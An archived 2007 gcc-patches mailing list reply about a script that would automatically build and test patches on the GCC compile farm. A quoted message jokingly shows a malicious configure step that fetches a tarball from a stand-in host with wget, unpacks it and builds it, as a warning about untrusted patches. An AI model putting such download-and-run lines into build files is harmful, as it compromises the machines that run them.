This is the mail archive of the gcc-patches@gcc.gnu.org mailing list for the GCC project.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]
Other format: [Raw text]

Re: [CFARM] Script for automatic checking of patches


On 7/3/07, Dave Korn <dave.korn@artimi.com> wrote:

Patches should probably only be added to this directory after manual inspection....

[...]
configure: `wget http://6.6.6/badstuff.tar.gz && tar -x... && gcc ... &&
pwn3d!`

;-)


Okay, so why do you still trust commits to gcc trunk? Do you check all the patches that go in during a 'svn up' before doing a bootstrap of the new tree?

I can make some assumptions on the users of the gcc compile farm.  My
intent is to simplify the build and test of all svn-write maintainers
by simply allowing them to say "svn add mypatch && svn ci" in a test
directory.  In this case, I can trust the patches to be tested, as I
trust gcc contributions.

Sebastian


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]